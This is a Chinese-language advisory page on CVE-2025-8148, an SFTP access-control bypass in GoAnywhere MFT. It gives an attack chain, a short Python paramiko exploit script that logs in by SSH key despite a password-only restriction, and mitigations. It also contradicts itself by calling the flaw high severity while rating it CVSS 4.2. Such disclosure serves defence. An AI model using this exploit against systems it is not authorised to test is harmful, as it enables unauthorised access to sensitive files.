IPBUF安全漏洞报告
English
CVE-2025-8148 CVSS 4.2 中危

CVE-2025-8148: GoAnywhere MFT SFTP服务访问控制绕过漏洞

披露日期: 2025-12-05
来源: df4dee71-de3a-4139-9588-11b62fe6c0ff

漏洞信息

漏洞编号
CVE-2025-8148
漏洞类型
访问控制绕过
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Fortra GoAnywhere MFT

相关标签

访问控制绕过SFTPFortraGoAnywhere MFT认证绕过CVE-2025-8148文件传输安全MEDIUM

漏洞概述

CVE-2025-8148是Fortra GoAnywhere MFT产品中的一个高危访问控制绕过漏洞。该漏洞存在于GoAnywhere MFT的SFTP服务组件中,版本7.9.0之前的版本均受影响。漏洞的核心问题是系统对Web用户实施了不恰当的访问控制机制。具体而言,当Web用户配置了认证别名(Authentication Alias)和有效的SSH密钥,但被限制为仅使用密码认证访问SFTP服务时,系统错误地允许这些用户使用SSH密钥进行登录认证。这一访问控制缺陷使得原本应该被限制使用密码认证的用户能够绕过认证限制,通过SSH密钥成功登录SFTP服务,从而获取未经授权的系统访问权限。攻击者可以利用此漏洞在未获得适当授权的情况下访问敏感文件和数据,对企业文件传输安全构成严重威胁。

技术细节

GoAnywhere MFT的SFTP服务实现了一套复杂的认证别名和SSH密钥管理机制。在正常的认证流程中,管理员可以为Web用户配置多种认证方式,包括密码认证和SSH密钥认证,并通过访问控制策略限制用户只能使用特定的认证方式访问特定的服务。然而,该漏洞源于SFTP服务在验证用户认证凭据时存在逻辑缺陷。当系统检查用户是否被限制为仅使用密码认证时,检查逻辑未能正确处理SSH密钥认证请求。具体来说,SFTP服务在接收到SSH密钥认证请求后,没有再次验证用户是否被配置为仅允许密码认证,从而导致访问控制策略被绕过。攻击者需要具备有效的认证别名配置和有效的SSH密钥,但即使管理员明确限制了用户只能使用密码认证,攻击者仍可通过SSH密钥完成认证过程。这一漏洞表明系统在多因素认证环境下的访问控制策略执行存在不一致性。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行GoAnywhere MFT,并确定SFTP服务端口(默认22端口)
STEP 2
获取有效凭据
攻击者获取有效的认证别名和SSH密钥,即使被限制为密码认证
STEP 3
构造认证请求
攻击者构造SSH密钥认证请求,绕过仅允许密码认证的限制
STEP 4
触发漏洞
SFTP服务错误地接受SSH密钥认证,绕过访问控制策略
STEP 5
未授权访问
攻击者成功登录SFTP服务,获取对文件系统的不当访问权限
STEP 6
数据窃取或破坏
攻击者可读取、修改或窃取敏感文件数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-8148 PoC - GoAnywhere MFT SFTP Access Control Bypass # This PoC demonstrates the authentication bypass vulnerability import paramiko import sys def exploit_sftp(target_host, username, ssh_key_path): """ Exploit CVE-2025-8148: Access Control Bypass in GoAnywhere MFT SFTP Prerequisites: - Valid authentication alias configured - Valid SSH key registered - User restricted to password-only authentication for SFTP This exploit bypasses the authentication restriction to login via SSH key. """ try: # Load SSH private key private_key = paramiko.RSAKey.from_private_key_file(ssh_key_path) # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt SFTP connection using SSH key # This should be blocked if user is restricted to password-only # But due to CVE-2025-8148, it succeeds transport = paramiko.Transport((target_host, 22)) transport.connect(username=username, pkey=private_key) # Open SFTP session sftp = paramiko.SFTPClient.from_transport(transport) print(f"[+] Successfully connected to SFTP service as {username}") print(f"[+] Access control bypassed - SSH key authentication allowed") # List directory contents print("\n[*] Directory listing:") for entry in sftp.listdir('.'): print(f" - {entry}") sftp.close() transport.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve-2025-8148.py <target_host> <username> <ssh_key_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] key_path = sys.argv[3] exploit_sftp(target, user, key_path)

影响范围

GoAnywhere MFT < 7.9.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用受影响版本中的SFTP服务;2) 移除所有被限制为密码认证用户的SSH密钥配置;3) 实施网络层访问控制,限制SFTP服务的访问来源;4) 加强用户认证监控,对异常认证行为进行告警;5) 考虑使用VPN等安全通道替代直接SFTP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表